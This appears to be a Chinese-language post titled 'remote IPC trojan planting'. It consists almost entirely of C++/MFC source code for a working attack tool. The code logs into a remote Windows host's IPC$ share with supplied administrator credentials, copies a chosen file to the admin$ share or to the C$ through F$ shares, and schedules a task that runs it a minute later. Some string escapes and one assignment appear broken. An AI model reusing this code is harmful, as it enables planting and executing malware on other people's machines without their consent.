远程IPC种植木马

要实现代码例如以下：
/////////////////////////////////////////////////////////////////////////////////////

typedef struct TagHost

{

CString host;

CString user;

CString pass;

CString filename;

CString LocalFilePath;

CListBox* list;

}IPC;

void CShareDlg::OnStart() //启动线程序

{

　　UpdateData(TRUE);

　　IPC* ipc = new IPC;

　　ipc->host = m_host;

　　ipc->user = m_user;

　　ipc->pass = m_pass;

　　ipc->LocalFilePath = m_localfile;

　　ipc->filename = filename;

　　ipc->list = &m_list;

　　AfxBeginThread(ThreadIpcConnect,ipc);

}

/////////////////////////////线程/////////////////////////////////////////////////////

UINT ThreadIpcConnect(LPVOID lpvoid)

{

　　IPC* ipc;

　　CListBox* list;

　　ipc = (IPC*)lpvoid;

　　CString host;

　　CString admin;

　　CString pass;

　　CString filename;

　　CString localfilepath;

　　host = ipc->host ;

　　pass = ipc->pass;

　　admin = ipc->user;

　　localfilepath = ipc->LocalFilePath;

　　filename =ipc->filename ;

list = ipc->list;

　　BOOL IpcConnect;

　　LPTIME_OF_DAY_INFO TimeBuf=NULL;

　　NET_API_STATUS Status;

　　CString RemoteFilePath,CmdCom("admin$\");

///////////////////////////////IPC连接////////////////////////////////////////////////////////////////

　　NETRESOURCE ns;

　　TCHAR buf[MAX_PATH];

　　wsprintf(buf,"\\%s\ipc$",host);

　　ZeroMemory(&ns,sizeof(ns));

　　ns.dwScope=RESOURCE_GLOBALNET;

　　ns.dwType=RESOURCETYPE_ANY;

　　ns.dwDisplayType=RESOURCEDISPLAYTYPE_GENERIC;

　　ns.dwUsage=RESOURCEUSAGE_CONNECTABLE;

　　ns.lpLocalName="";

　　ns.lpRemoteName=buf;

　　ns.lpProvider=NULL;

　　ns.lpComment=NULL;

　　CString hhost = host;

　　IpcConnect =WNetAddConnection2(&ns,pass,admin,0);

///建立IPC连接

　　if(IpcConnect)

　　{

//连接成功后

///////////////////////////连接成功上传文件//////////////////////////////////////////////////////////

　　　　RemoteFilePath=("\\"+host+"\admin$\"+filename);

　　　　IpcConnect=CopyFile(localfilepath,RemoteFilePath,FALSE);

//拷贝文件到admin$(winnt) 假设复制失败，。向其它共享区复制

　　　　　　if(!IpcConnect)

　　　　　　　　{

　　　　　　　　　　RemoteFilePath=("\\"+host+"\C$\"+filename);

　　　　　　　　　　CmdCom="C:\"+filename;

　　　　　　　　　　IpcConnect=CopyFile(localfilepath,RemoteFilePath,FALSE);

　　　　　　　　　　　　if(!IpcConnect)

　　　　　　　　　　　　{

　　　　　　　　　　　　　　　RemoteFilePath=("\\"+host+"\D$\"+filename);

　　　　　　　　　　　　　　　CmdCom="D:\"+filename;

　　　　　　　　　　　　　　　IpcConnect=CopyFile(localfilepath,RemoteFilePath,FALSE);

　　　　　　　　　　 if(!IpcConnect)

　　　　　　　　　　　　　　　　　　{

　　　　　　　　　　　　　　　　　　　　　RemoteFilePath=("\\"+host+"\E$\"+filename);

　　　　　　　　　　　　　　　　　　　　　CmdCom="E:\"+filename;

　　　　　　　　　　　　　　　　　　　　　IpcConnect=CopyFile(localfilepath,RemoteFilePath,FALSE);

　　　　　　　　　　　　　　　　　　　　　if(!IpcConnect)

　　　　　　　　　　　　　　　　　　　　　　　{

　　　　　　　　　　　　　　　　　　　　　　　　RemoteFilePath ("\\"+host+"\F$\"+filename);

　　　　　　　　　　　　　　　　　　　　　　　　CmdCom = "F:\"+filename;

　　　　　　　　　　　　　　　　　　　　　IpcConnect = CopyFile(localfilepath,RemoteFilePath,FALSE);

　　　　　　　　　　　　　　　　　　　　　　　}

　　　　　　　　　　　　　　　　　　}

　　　　　　　　　　　　　　}

　　　　　　　　　}

///////////////////////////得到远程主机时间///////////////////////////////////////////////////////////

　　　　　　　　　if(IpcConnect)

　　　　　　　　　{//获取远程主机时间

　　　　　　　　　　　Status=NetRemoteTOD(host.AllocSysString(),(LPBYTE *)&TimeBuf);

　　　　　　　　　　　　if(Status==NERR_Success)

　　　　　　　　　　　　{//活取时间成功

///////////////////////////启动目标文件///////////////////////////////////////////////////////////////

　　　　　　　　　　　　　　DWORD day=1,JobTime;

　　　　　　　　　　　　　　AT_INFO ai;

　　　　　　　　　　　　　　day=day*2;

　　　　　　　　　　　　　　ai.Command=CmdCom.AllocSysString();

　　　　　　　　　　　　　　ai.DaysOfMonth=day;

　　　　　　　　　　　　　　ai.DaysOfWeek=0;

　　　　　　　　　　　　　　ai.Flags=JOB_NONINTERACTIVE;

　　　　　　　　　　　　　　ai.JobTime=((TimeBuf->tod_hours+(-TimeBuf->tod_timezone)/60)%24)*60*60*1000+(TimeBuf->tod_mins+1)*60*1000;

　　　　　　　　　　　　　　Status=NetScheduleJobAdd(hhost.AllocSysString(),(LPBYTE)&ai,&JobTime);

　　　　　　　　　　　　　　//启动上传的文件，一分钟后启动

　　　　　　　　　　　　　　if(Status==NERR_Success)

　　　　　　　　　　　　　　{

　　　　　　　　　　　　　　　　list->AddString(host+"启动成功");

　　　　　　　　　　　　　　}

　　　　　　　　　　　　　　else

　　　　　　　　　　　　　　　　list->AddString(host+"启动失败");

　　　　　　　　　　　　　　}

　　　　　　　　　　else

　　　　　　　　　　　　{

　　　　　　　　　　　　　list->AddString(host+"获取时间失败");

　　　　　　　　　　　　}

　　　　　　　　　}

　　　　　　　　　else

　　　　　　　　　{

　　　　　　　　　 list->AddString(host+"拷贝文件失败");

　　　　　　　　　}

　　　　}

　　　　else

　　　　list->AddString(host+"连接失败");

return TRUE;

}